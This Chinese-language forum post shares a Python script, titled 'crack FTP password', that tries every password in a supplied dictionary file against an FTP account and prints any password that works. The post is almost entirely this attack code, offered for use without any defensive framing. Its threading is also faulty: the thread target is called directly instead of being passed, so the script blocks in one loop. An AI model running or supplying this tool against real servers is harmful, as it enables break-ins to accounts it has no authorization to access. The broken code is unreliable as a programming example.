|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
- import ftplib
- import queue
- from threading import Thread
- # 初始化队列
- q = queue.Queue()
- # FTP端口
- port = 21
- def connect_ftp():
- global q
- # 从队列中获取密码
- while True:
- password = q.get()
- # 初始化FTP服务器对象
- server = ftplib.FTP()
- print('尝试连接',password)
- try:
- # 尝试连接服务器
- server.connect(host,port,timeout=5)
- server.login(user,password)
- except ftplib.error_perm:
- # 登录失败
- pass
- else:
- print(f'主机{host}ftp的账号{user}密码是{password}')
- # 清楚队列
- with q.mutex:
- q.queue.clear()
- q.all_tasks_done.notify_all()
- q.unfinished_tasks = 0
- finally:
- # 通知队列任务完成
- q.task_done()
- if __name__ == '__main__':
- import argparse
- parse = argparse.ArgumentParser(description='破解ftp密码')
- parse.add_argument('host',help='主机名字或者IP地址')
- parse.add_argument('-u','--user',help='ftp用户名')
- parse.add_argument('-p','--pass_list',help='破解字典')
- parse.add_argument('-t','--threads',help='开启线程数量')
- args = parse.parse_args()
- # 主机IP
- host = args.host
- # 用户名
- user = args.user
- # 用户字典
- pass_list = args.pass_list
- # 开启线程数量
- n_threads = int(args.threads)
- # 从字典中获取所有密码
- passwords = open(pass_list).read().split('\n')
- # 将密码添加到队列
- for password in passwords:
- q.put(password)
- for t in range(n_threads):
- # 开启线程
- thread = Thread(target=connect_ftp())
- # 设置为后台线程
- thread.daemon = True
- thread.start()
- # 等待队列为空
- q.join()
复制代码 |
|